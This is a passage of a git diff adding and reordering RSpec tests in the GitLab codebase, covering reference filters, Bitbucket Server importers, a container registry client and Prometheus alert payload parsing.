+ end
+
context 'for a grafana dashboard' do
let(:url) { urls.project_grafana_api_metrics_dashboard_url(project, embedded: true) }
@@ -33,7 +40,7 @@ RSpec.describe Banzai::Filter::InlineMetricsRedactorFilter do
let_it_be(:cluster) { create(:cluster, :provided_by_gcp, :project, projects: [project]) }
let(:params) { [project.namespace.path, project.path, cluster.id] }
let(:query_params) { { group: 'Cluster Health', title: 'CPU Usage', y_label: 'CPU (cores)' } }
- let(:url) { urls.metrics_dashboard_namespace_project_cluster_url(*params, **query_params) }
+ let(:url) { urls.metrics_dashboard_namespace_project_cluster_url(*params, **query_params, format: :json) }
context 'with user who can read cluster' do
it_behaves_like 'redacts the embed placeholder'
diff --git a/spec/lib/banzai/filter/issue_reference_filter_spec.rb b/spec/lib/banzai/filter/issue_reference_filter_spec.rb
index 0ad058675fe..447802d18a7 100644
--- a/spec/lib/banzai/filter/issue_reference_filter_spec.rb
+++ b/spec/lib/banzai/filter/issue_reference_filter_spec.rb
@@ -40,10 +40,10 @@ RSpec.describe Banzai::Filter::IssueReferenceFilter do
end
context 'internal reference' do
- it_behaves_like 'a reference containing an element node'
-
let(:reference) { "##{issue.iid}" }
+ it_behaves_like 'a reference containing an element node'
+
it 'links to a valid reference' do
doc = reference_filter("Fixed #{reference}")
@@ -134,11 +134,11 @@ RSpec.describe Banzai::Filter::IssueReferenceFilter do
end
context 'cross-project / cross-namespace complete reference' do
- it_behaves_like 'a reference containing an element node'
-
- let(:project2) { create(:project, :public) }
- let(:issue) { create(:issue, project: project2) }
let(:reference) { "#{project2.full_path}##{issue.iid}" }
+ let(:issue) { create(:issue, project: project2) }
+ let(:project2) { create(:project, :public) }
+
+ it_behaves_like 'a reference containing an element node'
it 'ignores valid references when cross-reference project uses external tracker' do
expect_any_instance_of(described_class).to receive(:find_object)
@@ -182,13 +182,13 @@ RSpec.describe Banzai::Filter::IssueReferenceFilter do
end
context 'cross-project / same-namespace complete reference' do
- it_behaves_like 'a reference containing an element node'
-
- let(:namespace) { create(:namespace) }
- let(:project) { create(:project, :public, namespace: namespace) }
- let(:project2) { create(:project, :public, namespace: namespace) }
- let(:issue) { create(:issue, project: project2) }
let(:reference) { "#{project2.full_path}##{issue.iid}" }
+ let(:issue) { create(:issue, project: project2) }
+ let(:project2) { create(:project, :public, namespace: namespace) }
+ let(:project) { create(:project, :public, namespace: namespace) }
+ let(:namespace) { create(:namespace) }
+
+ it_behaves_like 'a reference containing an element node'
it 'ignores valid references when cross-reference project uses external tracker' do
expect_any_instance_of(described_class).to receive(:find_object)
@@ -232,13 +232,13 @@ RSpec.describe Banzai::Filter::IssueReferenceFilter do
end
context 'cross-project shorthand reference' do
- it_behaves_like 'a reference containing an element node'
-
- let(:namespace) { create(:namespace) }
- let(:project) { create(:project, :public, namespace: namespace) }
- let(:project2) { create(:project, :public, namespace: namespace) }
- let(:issue) { create(:issue, project: project2) }
let(:reference) { "#{project2.path}##{issue.iid}" }
+ let(:issue) { create(:issue, project: project2) }
+ let(:project2) { create(:project, :public, namespace: namespace) }
+ let(:project) { create(:project, :public, namespace: namespace) }
+ let(:namespace) { create(:namespace) }
+
+ it_behaves_like 'a reference containing an element node'
it 'ignores valid references when cross-reference project uses external tracker' do
expect_any_instance_of(described_class).to receive(:find_object)
@@ -282,12 +282,12 @@ RSpec.describe Banzai::Filter::IssueReferenceFilter do
end
context 'cross-project URL reference' do
- it_behaves_like 'a reference containing an element node'
-
- let(:namespace) { create(:namespace, name: 'cross-reference') }
- let(:project2) { create(:project, :public, namespace: namespace) }
- let(:issue) { create(:issue, project: project2) }
let(:reference) { issue_url + "#note_123" }
+ let(:issue) { create(:issue, project: project2) }
+ let(:project2) { create(:project, :public, namespace: namespace) }
+ let(:namespace) { create(:namespace, name: 'cross-reference') }
+
+ it_behaves_like 'a reference containing an element node'
it 'links to a valid reference' do
doc = reference_filter("See #{reference}")
@@ -310,13 +310,13 @@ RSpec.describe Banzai::Filter::IssueReferenceFilter do
end
context 'cross-project reference in link href' do
- it_behaves_like 'a reference containing an element node'
-
- let(:namespace) { create(:namespace, name: 'cross-reference') }
- let(:project2) { create(:project, :public, namespace: namespace) }
- let(:issue) { create(:issue, project: project2) }
- let(:reference) { issue.to_reference(project) }
let(:reference_link) { %{<a href="#{reference}">Reference</a>} }
+ let(:reference) { issue.to_reference(project) }
+ let(:issue) { create(:issue, project: project2) }
+ let(:project2) { create(:project, :public, namespace: namespace) }
+ let(:namespace) { create(:namespace, name: 'cross-reference') }
+
+ it_behaves_like 'a reference containing an element node'
it 'links to a valid reference' do
doc = reference_filter("See #{reference_link}")
@@ -339,13 +339,13 @@ RSpec.describe Banzai::Filter::IssueReferenceFilter do
end
context 'cross-project URL in link href' do
- it_behaves_like 'a reference containing an element node'
-
- let(:namespace) { create(:namespace, name: 'cross-reference') }
- let(:project2) { create(:project, :public, namespace: namespace) }
- let(:issue) { create(:issue, project: project2) }
- let(:reference) { "#{issue_url + "#note_123"}" }
let(:reference_link) { %{<a href="#{reference}">Reference</a>} }
+ let(:reference) { "#{issue_url + "#note_123"}" }
+ let(:issue) { create(:issue, project: project2) }
+ let(:project2) { create(:project, :public, namespace: namespace) }
+ let(:namespace) { create(:namespace, name: 'cross-reference') }
+
+ it_behaves_like 'a reference containing an element node'
it 'links to a valid reference' do
doc = reference_filter("See #{reference_link}")
diff --git a/spec/lib/banzai/filter/table_of_contents_filter_spec.rb b/spec/lib/banzai/filter/table_of_contents_filter_spec.rb
index 2d17855707f..6e90f4457fa 100644
--- a/spec/lib/banzai/filter/table_of_contents_filter_spec.rb
+++ b/spec/lib/banzai/filter/table_of_contents_filter_spec.rb
@@ -65,6 +65,11 @@ RSpec.describe Banzai::Filter::TableOfContentsFilter do
expect(doc.css('h1 a').first.attr('href')).to eq '#title-with-spaces'
end
+ it 'removes a product suffix' do
+ doc = filter(header(1, "Title with spaces (ULTIMATE)"))
+ expect(doc.css('h1 a').first.attr('href')).to eq '#title-with-spaces'
+ end
+
it 'appends a unique number to duplicates' do
doc = filter(header(1, 'One') + header(2, 'One'))
diff --git a/spec/lib/banzai/filter/user_reference_filter_spec.rb b/spec/lib/banzai/filter/user_reference_filter_spec.rb
index d8de3e5cc11..b8baccf6658 100644
--- a/spec/lib/banzai/filter/user_reference_filter_spec.rb
+++ b/spec/lib/banzai/filter/user_reference_filter_spec.rb
@@ -40,10 +40,10 @@ RSpec.describe Banzai::Filter::UserReferenceFilter do
end
context 'mentioning @all' do
- it_behaves_like 'a reference containing an element node'
-
let(:reference) { User.reference_prefix + 'all' }
+ it_behaves_like 'a reference containing an element node'
+
before do
project.add_developer(project.creator)
end
@@ -78,10 +78,10 @@ RSpec.describe Banzai::Filter::UserReferenceFilter do
end
context 'mentioning a group' do
- it_behaves_like 'a reference containing an element node'
-
- let(:group) { create(:group) }
let(:reference) { group.to_reference }
+ let(:group) { create(:group) }
+
+ it_behaves_like 'a reference containing an element node'
it 'links to the Group' do
doc = reference_filter("Hey #{reference}")
@@ -98,10 +98,10 @@ RSpec.describe Banzai::Filter::UserReferenceFilter do
end
context 'mentioning a nested group' do
- it_behaves_like 'a reference containing an element node'
-
- let(:group) { create(:group, :nested) }
let(:reference) { group.to_reference }
+ let(:group) { create(:group, :nested) }
+
+ it_behaves_like 'a reference containing an element node'
it 'links to the nested group' do
doc = reference_filter("Hey #{reference}")
diff --git a/spec/lib/banzai/reference_parser/alert_parser_spec.rb b/spec/lib/banzai/reference_parser/alert_parser_spec.rb
new file mode 100644
index 00000000000..0a9499fe6e4
--- /dev/null
+++ b/spec/lib/banzai/reference_parser/alert_parser_spec.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Banzai::ReferenceParser::AlertParser do
+ include ReferenceParserHelpers
+
+ let(:project) { create(:project, :public) }
+ let(:user) { create(:user) }
+ let(:alert) { create(:alert_management_alert, project: project) }
+
+ subject { described_class.new(Banzai::RenderContext.new(project, user)) }
+
+ let(:link) { empty_html_link }
+
+ describe '#nodes_visible_to_user' do
+ context 'when the link has a data-issue attribute' do
+ before do
+ link['data-alert'] = alert.id.to_s
+ end
+
+ it_behaves_like "referenced feature visibility", "issues", "merge_requests" do
+ before do
+ project.add_developer(user) if enable_user?
+ end
+ end
+ end
+ end
+
+ describe '#referenced_by' do
+ describe 'when the link has a data-alert attribute' do
+ context 'using an existing alert ID' do
+ it 'returns an Array of alerts' do
+ link['data-alert'] = alert.id.to_s
+
+ expect(subject.referenced_by([link])).to eq([alert])
+ end
+ end
+
+ context 'using a non-existing alert ID' do
+ it 'returns an empty Array' do
+ link['data-alert'] = ''
+
+ expect(subject.referenced_by([link])).to eq([])
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/bitbucket_server/representation/comment_spec.rb b/spec/lib/bitbucket_server/representation/comment_spec.rb
index b568789bd97..41cdaab7a00 100644
--- a/spec/lib/bitbucket_server/representation/comment_spec.rb
+++ b/spec/lib/bitbucket_server/representation/comment_spec.rb
@@ -13,7 +13,30 @@ RSpec.describe BitbucketServer::Representation::Comment do
end
describe '#author_username' do
- it { expect(subject.author_username).to eq('root' ) }
+ it 'returns username' do
+ expect(subject.author_username).to eq('username')
+ end
+
+ context 'when username is absent' do
+ before do
+ comment['comment']['author'].delete('username')
+ end
+
+ it 'returns slug' do
+ expect(subject.author_username).to eq('slug')
+ end
+ end
+
+ context 'when slug and username are absent' do
+ before do
+ comment['comment']['author'].delete('username')
+ comment['comment']['author'].delete('slug')
+ end
+
+ it 'returns displayName' do
+ expect(subject.author_username).to eq('root')
+ end
+ end
end
describe '#author_email' do
diff --git a/spec/lib/bitbucket_server/representation/pull_request_spec.rb b/spec/lib/bitbucket_server/representation/pull_request_spec.rb
index a05d98f0d4a..d7b893e8081 100644
--- a/spec/lib/bitbucket_server/representation/pull_request_spec.rb
+++ b/spec/lib/bitbucket_server/representation/pull_request_spec.rb
@@ -15,6 +15,33 @@ RSpec.describe BitbucketServer::Representation::PullRequest do
it { expect(subject.author_email).to eq('joe.montana@49ers.com') }
end
+ describe '#author_username' do
+ it 'returns username' do
+ expect(subject.author_username).to eq('username')
+ end
+
+ context 'when username is absent' do
+ before do
+ sample_data['author']['user'].delete('username')
+ end
+
+ it 'returns slug' do
+ expect(subject.author_username).to eq('slug')
+ end
+ end
+
+ context 'when slug and username are absent' do
+ before do
+ sample_data['author']['user'].delete('username')
+ sample_data['author']['user'].delete('slug')
+ end
+
+ it 'returns displayName' do
+ expect(subject.author_username).to eq('displayName')
+ end
+ end
+ end
+
describe '#description' do
it { expect(subject.description).to eq('Test') }
end
diff --git a/spec/lib/constraints/jira_encoded_url_constrainer_spec.rb b/spec/lib/constraints/jira_encoded_url_constrainer_spec.rb
new file mode 100644
index 00000000000..70e649d35da
--- /dev/null
+++ b/spec/lib/constraints/jira_encoded_url_constrainer_spec.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Constraints::JiraEncodedUrlConstrainer do
+ let(:namespace_id) { 'group' }
+ let(:project_id) { 'project' }
+ let(:path) { "/#{namespace_id}/#{project_id}" }
+ let(:request) { double(:request, path: path, params: { namespace_id: namespace_id, project_id: project_id }) }
+
+ describe '#matches?' do
+ subject { described_class.new.matches?(request) }
+
+ context 'when there is no /-/jira prefix and no encoded slash' do
+ it { is_expected.to eq(false) }
+ end
+
+ context 'when tree path contains encoded slash' do
+ let(:path) { "/#{namespace_id}/#{project_id}/tree/folder-with-#{Gitlab::Jira::Dvcs::ENCODED_SLASH}" }
+
+ it { is_expected.to eq(false) }
+ end
+
+ context 'when path has /-/jira prefix' do
+ let(:path) { "/-/jira/#{namespace_id}/#{project_id}" }
+
+ it { is_expected.to eq(true) }
+ end
+
+ context 'when project_id has encoded slash' do
+ let(:project_id) { "sub_group#{Gitlab::Jira::Dvcs::ENCODED_SLASH}sub_project" }
+
+ it { is_expected.to eq(true) }
+ end
+ end
+end
diff --git a/spec/lib/container_registry/client_spec.rb b/spec/lib/container_registry/client_spec.rb
index aa947329c33..4daf7375a40 100644
--- a/spec/lib/container_registry/client_spec.rb
+++ b/spec/lib/container_registry/client_spec.rb
@@ -289,4 +289,57 @@ RSpec.describe ContainerRegistry::Client do
end
end
end
+
+ describe '.supports_tag_delete?' do
+ let(:registry_enabled) { true }
+ let(:registry_api_url) { 'http://sandbox.local' }
+ let(:registry_tags_support_enabled) { true }
+ let(:is_on_dot_com) { false }
+
+ subject { described_class.supports_tag_delete? }
+
+ before do
+ allow(::Gitlab).to receive(:com?).and_return(is_on_dot_com)
+ stub_container_registry_config(enabled: registry_enabled, api_url: registry_api_url, key: 'spec/fixtures/x509_certificate_pk.key')
+ stub_registry_tags_support(registry_tags_support_enabled)
+ end
+
+ context 'with the registry enabled' do
+ it { is_expected.to be true }
+
+ context 'without an api url' do
+ let(:registry_api_url) { '' }
+
+ it { is_expected.to be false }
+ end
+
+ context 'on .com' do
+ let(:is_on_dot_com) { true }
+
+ it { is_expected.to be true }
+ end
+
+ context 'when registry server does not support tag deletion' do
+ let(:registry_tags_support_enabled) { false }
+
+ it { is_expected.to be false }
+ end
+ end
+
+ context 'with the registry disabled' do
+ let(:registry_enabled) { false }
+
+ it { is_expected.to be false }
+ end
+
+ def stub_registry_tags_support(supported = true)
+ status_code = supported ? 200 : 404
+ stub_request(:options, "#{registry_api_url}/v2/name/tags/reference/tag")
+ .to_return(
+ status: status_code,
+ body: '',
+ headers: { 'Allow' => 'DELETE' }
+ )
+ end
+ end
end
diff --git a/spec/lib/gitlab/alert_management/alert_params_spec.rb b/spec/lib/gitlab/alert_management/alert_params_spec.rb
index 1fe27365c83..c3171be5e29 100644
--- a/spec/lib/gitlab/alert_management/alert_params_spec.rb
+++ b/spec/lib/gitlab/alert_management/alert_params_spec.rb
@@ -34,7 +34,9 @@ RSpec.describe Gitlab::AlertManagement::AlertParams do
hosts: ['gitlab.com'],
payload: payload,
started_at: started_at,
- fingerprint: nil
+ ended_at: nil,
+ fingerprint: nil,
+ environment: nil
)
end
diff --git a/spec/lib/gitlab/alert_management/payload/base_spec.rb b/spec/lib/gitlab/alert_management/payload/base_spec.rb
new file mode 100644
index 00000000000..e0f63bad05d
--- /dev/null
+++ b/spec/lib/gitlab/alert_management/payload/base_spec.rb
@@ -0,0 +1,210 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::AlertManagement::Payload::Base do
+ let_it_be(:project) { create(:project) }
+ let(:raw_payload) { {} }
+ let(:payload_class) { described_class }
+
+ subject(:parsed_payload) { payload_class.new(project: project, payload: raw_payload) }
+
+ describe '.attribute' do
+ subject { parsed_payload.test }
+
+ context 'with a single path provided' do
+ let(:payload_class) do
+ Class.new(described_class) do
+ attribute :test, paths: [['test']]
+ end
+ end
+
+ it { is_expected.to be_nil }
+
+ context 'and a matching value' do
+ let(:raw_payload) { { 'test' => 'value' } }
+
+ it { is_expected.to eq 'value' }
+ end
+ end
+
+ context 'with multiple paths provided' do
+ let(:payload_class) do
+ Class.new(described_class) do
+ attribute :test, paths: [['test'], %w(alt test)]
+ end
+ end
+
+ it { is_expected.to be_nil }
+
+ context 'and a matching value' do
+ let(:raw_payload) { { 'alt' => { 'test' => 'value' } } }
+
+ it { is_expected.to eq 'value' }
+ end
+ end
+
+ context 'with a fallback provided' do
+ let(:payload_class) do
+ Class.new(described_class) do
+ attribute :test, paths: [['test']], fallback: -> { 'fallback' }
+ end
+ end
+
+ it { is_expected.to eq('fallback') }
+
+ context 'and a matching value' do
+ let(:raw_payload) { { 'test' => 'value' } }
+
+ it { is_expected.to eq 'value' }
+ end
+ end
+
+ context 'with a time type provided' do
+ let(:test_time) { Time.current.change(usec: 0) }
+
+ let(:payload_class) do
+ Class.new(described_class) do
+ attribute :test, paths: [['test']], type: :time
+ end
+ end
+
+ it { is_expected.to be_nil }
+
+ context 'with a compatible matching value' do
+ let(:raw_payload) { { 'test' => test_time.to_s } }
+
+ it { is_expected.to eq test_time }
+ end
+
+ context 'with a value in rfc3339 format' do
+ let(:raw_payload) { { 'test' => test_time.rfc3339 } }
+
+ it { is_expected.to eq test_time }
+ end
+
+ context 'with an incompatible matching value' do
+ let(:raw_payload) { { 'test' => 'bad time' } }
+
+ it { is_expected.to be_nil }
+ end
+ end
+
+ context 'with an integer type provided' do
+ let(:payload_class) do
+ Class.new(described_class) do
+ attribute :test, paths: [['test']], type: :integer
+ end
+ end
+
+ it { is_expected.to be_nil }
+
+ context 'with a compatible matching value' do
+ let(:raw_payload) { { 'test' => '15' } }
+
+ it { is_expected.to eq 15 }
+ end
+
+ context 'with an incompatible matching value' do
+ let(:raw_payload) { { 'test' => String } }
+
+ it { is_expected.to be_nil }
+ end
+
+ context 'with an incompatible matching value' do
+ let(:raw_payload) { { 'test' => 'apple' } }
+
+ it { is_expected.to be_nil }
+ end
+ end
+ end
+
+ describe '#alert_params' do
+ before do
+ allow(parsed_payload).to receive(:title).and_return('title')
+ allow(parsed_payload).to receive(:description).and_return('description')
+ end
+
+ subject { parsed_payload.alert_params }
+
+ it { is_expected.to eq({ description: 'description', project_id: project.id, title: 'title' }) }
+ end
+
+ describe '#gitlab_fingerprint' do
+ subject { parsed_payload.gitlab_fingerprint }
+
+ it { is_expected.to be_nil }
+
+ context 'when plain_gitlab_fingerprint is defined' do
+ before do
+ allow(parsed_payload)
+ .to receive(:plain_gitlab_fingerprint)
+ .and_return('fingerprint')
+ end
+
+ it 'returns a fingerprint' do
+ is_expected.to eq(Digest::SHA1.hexdigest('fingerprint'))
+ end
+ end
+ end
+
+ describe '#environment' do
+ let_it_be(:environment) { create(:environment, project: project, name: 'production') }
+
+ subject { parsed_payload.environment }
+
+ before do
+ allow(parsed_payload).to receive(:environment_name).and_return(environment_name)
+ end
+
+ context 'without an environment name' do
+ let(:environment_name) { nil }
+
+ it { is_expected.to be_nil }
+ end
+
+ context 'with a non-matching environment name' do
+ let(:environment_name) { 'other_environment' }
+
+ it { is_expected.to be_nil }
+ end
+
+ context 'with a matching environment name' do
+ let(:environment_name) { 'production' }
+
+ it { is_expected.to eq(environment) }
+ end
+ end
+
+ describe '#resolved?' do
+ before do
+ allow(parsed_payload).to receive(:status).and_return(status)
+ end
+
+ subject { parsed_payload.resolved? }
+
+ context 'when status is not defined' do
+ let(:status) { nil }
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'when status is not resovled' do
+ let(:status) { 'firing' }
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'when status is resovled' do
+ let(:status) { 'resolved' }
+
+ it { is_expected.to be_truthy }
+ end
+ end
+
+ describe '#has_required_attributes?' do
+ subject { parsed_payload.has_required_attributes? }
+
+ it { is_expected.to be(true) }
+ end
+end
diff --git a/spec/lib/gitlab/alert_management/payload/generic_spec.rb b/spec/lib/gitlab/alert_management/payload/generic_spec.rb
new file mode 100644
index 00000000000..538a822503e
--- /dev/null
+++ b/spec/lib/gitlab/alert_management/payload/generic_spec.rb
@@ -0,0 +1,89 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::AlertManagement::Payload::Generic do
+ let_it_be(:project) { build_stubbed(:project) }
+ let(:raw_payload) { {} }
+
+ let(:parsed_payload) { described_class.new(project: project, payload: raw_payload) }
+
+ it_behaves_like 'subclass has expected api'
+
+ describe '#title' do
+ subject { parsed_payload.title }
+
+ it_behaves_like 'parsable alert payload field with fallback', 'New: Incident', 'title'
+ end
+
+ describe '#severity' do
+ subject { parsed_payload.severity }
+
+ it_behaves_like 'parsable alert payload field with fallback', 'critical', 'severity'
+ end
+
+ describe '#monitoring_tool' do
+ subject { parsed_payload.monitoring_tool }
+
+ it_behaves_like 'parsable alert payload field', 'monitoring_tool'
+ end
+
+ describe '#service' do
+ subject { parsed_payload.service }
+
+ it_behaves_like 'parsable alert payload field', 'service'
+ end
+
+ describe '#hosts' do
+ subject { parsed_payload.hosts }
+
+ it_behaves_like 'parsable alert payload field', 'hosts'
+ end
+
+ describe '#starts_at' do
+ let(:current_time) { Time.current.change(usec: 0).utc }
+
+ subject { parsed_payload.starts_at }
+
+ around do |example|
+ Timecop.freeze(current_time) { example.run }
+ end
+
+ context 'without start_time' do
+ it { is_expected.to eq(current_time) }
+ end
+
+ context "with start_time" do
+ let(:value) { 10.minutes.ago.change(usec: 0).utc }
+
+ before do
+ raw_payload['start_time'] = value.to_s
+ end
+
+ it { is_expected.to eq(value) }
+ end
+ end
+
+ describe '#runbook' do
+ subject { parsed_payload.runbook }
+
+ it_behaves_like 'parsable alert payload field', 'runbook'
+ end
+
+ describe '#gitlab_fingerprint' do
+ let(:plain_fingerprint) { 'fingerprint' }
+ let(:raw_payload) { { 'fingerprint' => plain_fingerprint } }
+
+ subject { parsed_payload.gitlab_fingerprint }
+
+ it 'returns a fingerprint' do
+ is_expected.to eq(Digest::SHA1.hexdigest(plain_fingerprint))
+ end
+ end
+
+ describe '#environment_name' do
+ subject { parsed_payload.environment_name }
+
+ it_behaves_like 'parsable alert payload field', 'gitlab_environment_name'
+ end
+end
diff --git a/spec/lib/gitlab/alert_management/payload/managed_prometheus_spec.rb b/spec/lib/gitlab/alert_management/payload/managed_prometheus_spec.rb
new file mode 100644
index 00000000000..862b5b2bdc3
--- /dev/null
+++ b/spec/lib/gitlab/alert_management/payload/managed_prometheus_spec.rb
@@ -0,0 +1,167 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::AlertManagement::Payload::ManagedPrometheus do
+ let_it_be(:project) { create(:project) }
+ let(:raw_payload) { {} }
+
+ let(:parsed_payload) { described_class.new(project: project, payload: raw_payload) }
+
+ it_behaves_like 'subclass has expected api'
+
+ shared_context 'with gitlab alert' do
+ let_it_be(:gitlab_alert) { create(:prometheus_alert, project: project) }
+ let(:metric_id) { gitlab_alert.prometheus_metric_id.to_s }
+ let(:alert_id) { gitlab_alert.id.to_s }
+ end
+
+ describe '#metric_id' do
+ subject { parsed_payload.metric_id }
+
+ it { is_expected.to be_nil }
+
+ context 'with gitlab_alert_id' do
+ let(:raw_payload) { { 'labels' => { 'gitlab_alert_id' => '12' } } }
+
+ it { is_expected.to eq(12) }
+ end
+ end
+
+ describe '#gitlab_prometheus_alert_id' do
+ subject { parsed_payload.gitlab_prometheus_alert_id }
+
+ it { is_expected.to be_nil }
+
+ context 'with gitlab_alert_id' do
+ let(:raw_payload) { { 'labels' => { 'gitlab_prometheus_alert_id' => '12' } } }
+
+ it { is_expected.to eq(12) }
+ end
+ end
+
+ describe '#gitlab_alert' do
+ subject { parsed_payload.gitlab_alert }
+
+ context 'without alert info in payload' do
+ it { is_expected.to be_nil }
+ end
+
+ context 'with metric id in payload' do
+ let(:raw_payload) { { 'labels' => { 'gitlab_alert_id' => metric_id } } }
+ let(:metric_id) { '-1' }
+
+ context 'without matching alert' do
+ it { is_expected.to be_nil }
+ end
+
+ context 'with matching alert' do
+ include_context 'with gitlab alert'
+
+ it { is_expected.to eq(gitlab_alert) }
+
+ context 'when unclear which alert applies' do
+ # With multiple alerts for different environments,
+ # we can't be sure which prometheus alert the payload
+ # belongs to
+ let_it_be(:another_alert) do
+ create(:prometheus_alert,
+ prometheus_metric: gitlab_alert.prometheus_metric,
+ project: project)
+ end
+
+ it { is_expected.to be_nil }
+ end
+ end
+ end
+
+ context 'with alert id' do
+ # gitlab_prometheus_alert_id is a stronger identifier,
+ # but was added after gitlab_alert_id; we won't
+ # see it without gitlab_alert_id also present
+ let(:raw_payload) do
+ {
+ 'labels' => {
+ 'gitlab_alert_id' => metric_id,
+ 'gitlab_prometheus_alert_id' => alert_id
+ }
+ }
+ end
+
+ context 'without matching alert' do
+ let(:alert_id) { '-1' }
+ let(:metric_id) { '-1' }
+
+ it { is_expected.to be_nil }
+ end
+
+ context 'with matching alerts' do
+ include_context 'with gitlab alert'
+
+ it { is_expected.to eq(gitlab_alert) }
+ end
+ end
+ end
+
+ describe '#full_query' do
+ subject { parsed_payload.full_query }
+
+ it { is_expected.to be_nil }
+
+ context 'with gitlab alert' do
+ include_context 'with gitlab alert'
+
+ let(:raw_payload) { { 'labels' => { 'gitlab_alert_id' => metric_id } } }
+
+ it { is_expected.to eq(gitlab_alert.full_query) }
+ end
+
+ context 'with sufficient fallback info' do
+ let(:raw_payload) { { 'generatorURL' => 'http://localhost:9090/graph?g0.expr=vector%281%29' } }
+
+ it { is_expected.to eq('vector(1)') }
+ end
+ end
+
+ describe '#environment' do
+ subject { parsed_payload.environment }
+
+ context 'with gitlab alert' do
+ include_context 'with gitlab alert'
+
+ let(:raw_payload) { { 'labels' => { 'gitlab_alert_id' => metric_id } } }
+
+ it { is_expected.to eq(gitlab_alert.environment) }
+ end
+
+ context 'with sufficient fallback info' do
+ let_it_be(:environment) { create(:environment, project: project, name: 'production') }
+ let(:raw_payload) do
+ {
+ 'labels' => {
+ 'gitlab_alert_id' => '-1',
+ 'gitlab_environment_name' => 'production'
+ }
+ }
+ end
+
+ it { is_expected.to eq(environment) }
+ end
+ end
+
+ describe '#metrics_dashboard_url' do
+ subject { parsed_payload.metrics_dashboard_url }
+
+ context 'without alert' do
+ it { is_expected.to be_nil }
+ end
+
+ context 'with gitlab alert' do
+ include_context 'gitlab-managed prometheus alert attributes' do
+ let(:raw_payload) { payload }
+ end
+
+ it { is_expected.to eq(dashboard_url_for_alert) }
+ end
+ end
+end
diff --git a/spec/lib/gitlab/alert_management/payload/prometheus_spec.rb b/spec/lib/gitlab/alert_management/payload/prometheus_spec.rb
new file mode 100644
index 00000000000..457db58a28b
--- /dev/null
+++ b/spec/lib/gitlab/alert_management/payload/prometheus_spec.rb
@@ -0,0 +1,240 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::AlertManagement::Payload::Prometheus do
+ let_it_be(:project) { create(:project) }
+ let(:raw_payload) { {} }
+
+ let(:parsed_payload) { described_class.new(project: project, payload: raw_payload) }
+
+ it_behaves_like 'subclass has expected api'
+
+ shared_context 'with environment' do
+ let_it_be(:environment) { create(:environment, project: project, name: 'production') }
+ end
+
+ describe '#title' do
+ subject { parsed_payload.title }
+
+ it_behaves_like 'parsable alert payload field',
+ 'annotations/title',
+ 'annotations/summary',
+ 'labels/alertname'
+ end
+
+ describe '#description' do
+ subject { parsed_payload.description }
+
+ it_behaves_like 'parsable alert payload field', 'annotations/description'
+ end
+
+ describe '#annotations' do
+ subject { parsed_payload.annotations }
+
+ it_behaves_like 'parsable alert payload field', 'annotations'
+ end
+
+ describe '#status' do
+ subject { parsed_payload.status }
+
+ it_behaves_like 'parsable alert payload field', 'status'
+ end
+
+ describe '#starts_at' do
+ let(:current_time) { Time.current.utc }
+
+ around do |example|
+ freeze_time { example.run }
+ end
+
+ subject { parsed_payload.starts_at }
+
+ context 'without payload' do
+ it { is_expected.to eq(current_time) }
+ end
+
+ context "with startsAt" do
+ let(:value) { 10.minutes.ago.change(usec: 0).utc }
+ let(:raw_payload) { { 'startsAt' => value.rfc3339 } }
+
+ it { is_expected.to eq(value) }
+ end
+ end
+
+ describe '#ends_at' do
+ subject { parsed_payload.ends_at }
+
+ context 'without payload' do
+ it { is_expected.to be_nil }
+ end
+
+ context "with endsAt" do
+ let(:value) { Time.current.change(usec: 0).utc }
+ let(:raw_payload) { { 'endsAt' => value.rfc3339 } }
+
+ it { is_expected.to eq(value) }
+ end
+ end
+
+ describe '#generator_url' do
+ subject { parsed_payload.generator_url }
+
+ it_behaves_like 'parsable alert payload field', 'generatorURL'
+ end
+
+ describe '#runbook' do
+ subject { parsed_payload.runbook }
+
+ it_behaves_like 'parsable alert payload field', 'annotations/runbook'
+ end
+
+ describe '#alert_markdown' do
+ subject { parsed_payload.alert_markdown }
+
+ it_behaves_like 'parsable alert payload field', 'annotations/gitlab_incident_markdown'
+ end
+
+ describe '#environment_name' do
+ subject { parsed_payload.environment_name }
+
+ it_behaves_like 'parsable alert payload field', 'labels/gitlab_environment_name'
+ end
+
+ describe '#gitlab_y_label' do
+ subject { parsed_payload.gitlab_y_label }
+
+ it_behaves_like 'parsable alert payload field',
+ 'annotations/gitlab_y_label',
+ 'annotations/title',
+ 'annotations/summary',
+ 'labels/alertname'
+ end
+
+ describe '#monitoring_tool' do
+ subject { parsed_payload.monitoring_tool }
+
+ it { is_expected.to eq('Prometheus') }
+ end
+
+ describe '#full_query' do
+ using RSpec::Parameterized::TableSyntax
+
+ subject { parsed_payload.full_query }
+
+ where(:generator_url, :expected_query) do
+ nil | nil
+ 'http://localhost' | nil
+ 'invalid url' | nil
+ 'http://localhost:9090/graph?g1.expr=vector%281%29' | nil
+ 'http://localhost:9090/graph?g0.expr=vector%281%29' | 'vector(1)'
+ end
+
+ with_them do
+ let(:raw_payload) { { 'generatorURL' => generator_url } }
+
+ it { is_expected.to eq(expected_query) }
+ end
+ end
+
+ describe '#environment' do
+ subject { parsed_payload.environment }
+
+ it { is_expected.to be_nil }
+
+ context 'with environment_name' do
+ let(:raw_payload) { { 'labels' => { 'gitlab_environment_name' => 'production' } } }
+
+ it { is_expected.to be_nil }
+
+ context 'with matching environment' do
+ include_context 'with environment'
+
+ it { is_expected.to eq(environment) }
+ end
+ end
+ end
+
+ describe '#gitlab_fingerprint' do
+ subject { parsed_payload.gitlab_fingerprint }
+
+ let(:raw_payload) do
+ {
+ 'startsAt' => Time.current.to_s,
+ 'generatorURL' => 'http://localhost:9090/graph?g0.expr=vector%281%29',
+ 'annotations' => { 'title' => 'title' }
+ }
+ end
+
+ it 'returns a fingerprint' do
+ plain_fingerprint = [
+ parsed_payload.send(:starts_at_raw),
+ parsed_payload.title,
+ parsed_payload.full_query
+ ].join('/')
+
